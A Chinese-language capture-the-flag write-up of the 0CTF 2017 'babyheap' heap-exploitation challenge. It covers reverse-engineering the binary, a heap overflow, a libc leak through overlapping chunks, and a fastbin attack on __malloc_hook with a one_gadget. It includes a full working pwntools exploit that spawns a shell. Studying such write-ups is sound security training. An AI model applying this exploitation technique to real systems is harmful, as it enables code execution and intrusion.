1,babyheap2017
https://github.com/0x3f97/pwn/blob/master/0ctf2017/babyheap/
这题自带的libc居然是Debian2.19的,建议换成glibc-all-in-one中的任意2.23。
这题虽然是2017但比2019的难很多,两者不是来源同一个CTF,从下图这个保护就可见一斑。
还是熟悉的增删改查,但这次我们可以自由控制chunk大小,chunk数量,chunk内容。
查看静态代码,main写的很漂亮。
先看sub_B70(),在urandom上取随机数,然后对addr进行处理。
动态调试一下确定addr,由于这题保护比较多,不好下断点,我们可以先下在__libc_start_main上,再下在RDI寄存器上(main地址)。
gdb babyheap
b __libc_start_main
r
b* 0x55555555511d
c
这些call跳转的地址即为main函数的sub_B70(),sub_CF4(),sub_138C()等函数的地址,通过最后3位可以分辨出来。
s步入到0x555555554b70,再慢慢单步到mmap(),可以非常直观的看到addr。
当然,执行完sub_B70(),此时直接看RAX也可以看到返回值&addr[v3],而RDX和RDI都可以看到addr。
这也是main函数中非常重要的v4,它被传入到增删改查所有函数中,它具体起什么作用呢?新建一个chunk,然后查看v4地址就明白了。
没错,这又是一个chunk list。
接着看静态代码,sub_CF4()是菜单,sub_138C()封装了read,用来读取你的输入,后面会反复看到。
sub_D48()是add(Allocate),这里用的calloc()开辟chunk空间。
从代码中可以看到,只允许16个chunk,chunk大小v2限制了最大4096,然后分别向v4,v4+8,v4+16地址写值,具体写了什么可以再看一遍这张图。
sub_E7F()是edit(Fill)。
先是输入Index,然后从v4+result地址拿出来,输入字Size以及Content,然后执行sub_11B2——同样封装的read()。即往chunk中写入v3长度的字符串。
可以明显看出来,Size也就是v3居然没有任何限制,这明显是个chunk越界写。
sub_F50(Free),输入Index,校验v4+24*result地址的值是否为1,然后改写成0,再清空Size,free chunk,清空指针。
sub_1051(Dump),读chunk,sub_130F()封装了write()
那么这题很明显也是让我们劫持fd。
那么进入动态调试,还是用show(1)当断点。注意这题最好关闭ALSR,否则每次断点都要重新确定地址。
#!/usr/bin/env python
from pwn import *
import sys
context.log_level = "debug"
#sh = process("./babyheap")
sh = gdb.debug("./babyheap","b *0x555555555051 \n c")
def add(size):
sh.recvuntil("Command: ")
sh.sendline("1")
sh.recvuntil("Size: ")
sh.sendline(str(size))
def edit(index, content):
sh.recvuntil("Command: ")
sh.sendline("2")
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvuntil("Size: ")
sh.sendline(str(len(content)))
sh.recvuntil("Content: ")
sh.send(content)
def free(index):
sh.recvuntil("Command: ")
sh.sendline("3")
sh.recvuntil("Index: ")
sh.sendline(str(index))
def show(index):
sh.recvuntil("Command: ")
sh.sendline("4")
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvline()
return sh.recvline()
add(0x10)
add(0x10)
edit(0,"AAAA")
show(1)
edit(1,"BBBB")
show(1)
我们进入show(即Dump)函数,那么RDI其实就是v4的地址。这个地址由于是从urandom中取得随机数,所以即使关闭ALSR,也还是随机的。但我们断show这个地方,可以轻易的从RDI中取出v4地址,还是比较方便。
老把戏,free(1)之后edit(0,"A"*36)
add(0x10)
add(0x10)
free(1)
edit(0,p64(0x0)*3+p64(0x21)+"A"*8)
show(1)
接下来就是寻找符合条件的fastbin size处,但这题并没有,之前我们常用的chunk list也就是v4地址只存储3个值,0x1,0x10和chunk指针,都不符合要求。
仔细思考一下,这题保护过多且提供libc,我们只能泄露libc,唯一有机会泄露libc的是show()。
这里就要介绍unsorted bin的特性,当free一个chunk,其大于fastbin(0x80),就会进入unsorted bin,而且fd和bk正好指向libc地址,也就是&main_arena+N。
add(0x80)
add(0x10)
free(0)
show(0)
那么,我们只需要想办法将unsorted bin的fd/bk打印出来就行了,这需要伪造其上方的chunk大小。
先进行一个错误示范。
add(0x10)#c0
add(0x10)#c1
add(0x80)#c2
add(0x10)#c3
edit(0,p64(0x0)*3+p64(0x41))
free(2)
show(1)
这样通过编辑c0,越界到c1,将c1 size扩大,看起来好像可以,但回顾代码,show()是从v4+8的地址上取值的,v4上还是0x10就没用。
那么将c1 free再add呢,free仅会清空fd/bk位置,好像符合我们需求。
add(0x10)#c0
add(0x10)#c1
add(0x80)#c2
add(0x10)#c3
edit(0,p64(0x0)*3+p64(0x41))
free(2)
show(1)
free(1)
add(0x30)
show(1)
free(2)之后的布局如下,看起来将伪造成41的c1给free掉,然后再加一个0x30的chunk,就可以show c1。
然而free(1)会报错。
看起来并没有那么简单,在网上搜到了其他办法。
先free两个chunk(0x10),然后修改fastbin的fd,指向chunk(0x80),再add两个chunk(0x10),这样就会存在一大一小两个重叠的chunk。此时再free大chunk,打印小chunk即可打印出libc。当然,全程还有fastbin的校验问题,需要频繁用edit去更改size以通过校验。
add(0x10)#c0
add(0x10)#c1
add(0x10)#c2
add(0x80)#c3
add(0x10)#c4
free(1)
free(2)
修改c0,其他不变,仅仅将fb的20改成60
edit(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x60))
这还不够,还需要将0x91也编辑成0x21,如果通过c0编辑的话,势必要确定chunk基地址,也就是0x555555759000,因为是我们开了ALSR这个值才是固定的,所以需要在c2和c3之间再插入一个chunk(0x10)方便edit()。
推倒重来。
add(0x10)#c0
add(0x10)#c1
add(0x10)#c2
add(0x10)#c3
add(0x80)#c4
add(0x10)#c5
free(1)
free(2)
#修改fd指向c4
edit(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
#修改c4以通过fd size检测
edit(3,p64(0)*3+p64(0x21))
现在就很完美,add(0x10)两次之后,原本c4的地方chunk(0x80)就会重叠一个chunk(0x10)。
add(0x10)#c1
add(0x10)#c2 fake chunk
光从heap段上感受不出来,我们直接看v4地址
可以看到,有两个相同的地址同时记录着0x10和0x80,非常神奇。
那么我们再将c4的size改回来,free(4),show(2)即可。
#c4 size修改回来方便free
edit(3,p64(0)*3+p64(0x91))
free(4)
show(2)
可以看到,因为c4和c2重叠的原因,利用unsorted bin的fd/bk指向libc,再打印c2,我们可以将libc泄露。
然而泄露的这个libc地址具体是多少呢?答案是main_arena+0x58(固定的)
而另一个重要的地址__malloc_hook,为main_arena-0x10。
然后即可搜到具体libc,通过system的辅助对比,可以确定是libc6_2.23-0ubuntu3_amd64。
所以最终libc基地址可以确定下来是0x7ffff7a0e000
这里网上的教程是直接减0x3c4b78得基地址,但我这里会得出一个错误地址。这是因为libc的不同,还是得用__malloc_hook地址去libc网站上查询到正确libc,然后计算出正确偏移。
libc基地址=泄露libc-0x58-0x10-0x3c3b10。
libc_addr = u64(show(2)[:8])-0x58-0x10-0x3c3b10
print(hex(libc_addr))
然后就是如何getshell了,由于我们可以edit劫持fd,所以只要找到能过fastbin size检测的地方,就等于能劫持任意地址。这题标准答案是劫持__malloc_hook,它在malloc()的时候会触发。
但__malloc_hook上方似乎没有size可供劫持。
但我们可以偏移一下,将7f独立出来。
然后尝试用free/edit/add/add的套路劫持fd,将0x7ffff7dd1aed变成chunk。
add(0x60)
free(4)
edit(2,p64(libc_addr+0x3c3aed))#0x7ffff7dd1aed
add(0x60)#c5
add(0x60)#c6 fake chunk
通过v4上的chunk list可以看出,我们成功让0x7ffff7dd1aed成为chunk,先将__malloc_hook劫持成exit试试。
edit(6,x)所填充的字符可以通过0x7ffff7dd1b10-0x7ffff7dd1afd算出来是19个。
exit_addr = libc_addr+0x3a020
edit(6,"\x00"*19+p64(exit_addr))
add(255)
然后随便add一下,成功触发exit,程序终止。
最后还有一个问题,那就是由于不存在system('/bin/sh')的后门函数,单单劫持一个函数,似乎无法完成getshell。在babyheap2019中,我们巧妙的劫持了atoi,然后在选项中输入/bin/sh完成getshell,这题似乎不具备这样的条件。
有一个项目可以为我们找出libc中的单地址execve("/bin/sh")。
https://github.com/david942j/one_gadget
安装并使用即可。
sudo gem install one_gadget
one_gadget /glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6
这里选择第二个成功getshell,完整exp如下。
#!/usr/bin/env python
from pwn import *
import sys
context.log_level = "debug"
sh = process("./babyheap")
#sh = gdb.debug("./babyheap","b *0x555555555051 \n c")
def add(size):
sh.recvuntil("Command: ")
sh.sendline("1")
sh.recvuntil("Size: ")
sh.sendline(str(size))
def edit(index, content):
sh.recvuntil("Command: ")
sh.sendline("2")
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvuntil("Size: ")
sh.sendline(str(len(content)))
sh.recvuntil("Content: ")
sh.send(content)
def free(index):
sh.recvuntil("Command: ")
sh.sendline("3")
sh.recvuntil("Index: ")
sh.sendline(str(index))
def show(index):
sh.recvuntil("Command: ")
sh.sendline("4")
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvline()
return sh.recvline()
add(0x10)#c0
add(0x10)#c1
add(0x10)#c2
add(0x10)#c3
add(0x80)#c4
add(0x10)#c5
free(1)
free(2)
edit(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
edit(3,p64(0)*3+p64(0x21))
add(0x10)#c1
add(0x10)#c2 double chunk
edit(3,p64(0)*3+p64(0x91))
free(4)
libc_addr = u64(show(2)[:8])-0x58-0x10-0x3c3b10
print(hex(libc_addr))#0x7ffff7a0e000
add(0x60)#c4
free(4)
edit(2,p64(libc_addr+0x3c3aed))#0x7ffff7dd1aed
add(0x60)#c5
add(0x60)#c6 fake chunk
#exit_addr = libc_addr + 0x3a020
sh_addr = libc_addr + 0x4525a
edit(6,"\x00"*19+p64(sh_addr))
add(255)
sh.interactive()